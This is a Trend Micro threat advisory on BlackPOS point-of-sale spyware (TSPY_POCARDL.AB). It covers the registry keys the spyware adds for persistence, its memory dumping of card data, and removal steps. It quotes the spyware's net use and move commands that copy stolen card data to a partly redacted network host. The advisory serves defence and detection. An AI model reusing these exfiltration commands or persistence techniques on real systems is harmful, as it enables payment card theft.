TSPY_POCARDL.AB
Troj/Tracur-BL (Sophos) ,Trojan horse BackDoor.Agent.AWRE (AVG) ,W32/POSCardStealer.BL!tr (Fortinet) ,W32/Pws.CFXL (exact) (Fprot) ,Win32.Pocardler (Ikarus) ,Trojan:Win32/Ploscato.B (Microsoft) ,PWS-FBOJ (McAfee) ,Win32/Spy.POSCardStealer.T trojan (Eset) ,Infostealer.Reedum.B (Symantec)
Windows 2000, Windows Server 2003, Windows XP (32-bit, 64-bit), Windows Vista (32-bit, 64-bit), Windows 7 (32-bit, 64-bit)
Threat Type: Spyware
Destructiveness: No
Encrypted: Yes
In the wild: Yes
OVERVIEW
This spyware is also known as BlackPOS.
This spyware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
It steals certain information from the system and/or the user.
TECHNICAL DETAILS
Arrival Details
This spyware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Autostart Technique
This spyware registers itself as a system service to ensure its automatic execution at every system startup by adding the following registry entries:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS
ImagePath = "{Malware Path and Filename}"
Other System Modifications
This spyware adds the following registry keys:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS\Security
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS\Enum
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Enum\Root\LEGACY_POSWDS
It adds the following registry entries as part of its installation routine:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS
DisplayName = "POSWDS"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS
ErrorControl = "0"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS
FailureActions = "{Hex Values}"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS
ObjectName = "Local System"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS
Start = "2"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS
Type = "272"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS\Enum
0 = "Root\LEGACY_POSWDS\0000"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS\Enum
Count = "1"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS\Enum
NextInstance = "1"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS\Security
Security = "{Hex Value}"
Information Theft
This spyware steals the following information:
- Credit/Debit Card Information
Stolen Information
The stolen information is saved in the following file:
- %system%\winxml.dll
NOTES:
This spyware dumps pos.exe memory to {Malware Path}\{3 random number}.memdump.
It uploads the stolen information into a local computer inside the network using the following commands during 10am-5pm (once every 7 hours):
net use S: \\{BLOCKED}.{BLOCKED}.240.31\c$\WINDOWS\twain_32 /user:{username} {password}
move %system%\winxml.dll S: {Username}_{Day}_{Month}_{Hour}.txt
net use S: /del
SOLUTION
Step 1
Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.
Step 2
Restart in Safe Mode
Step 3
Delete this registry key
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\POSWDSHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
- POSWDS
- POSWDS
- In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root
- LEGACY_POSWDS
- LEGACY_POSWDS
Step 4
Search and delete this file
- %system%\winxml.dll
Step 5
Restart in normal mode and scan your computer with your Trend Micro product for files detected as TSPY_POCARDL.AB. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.
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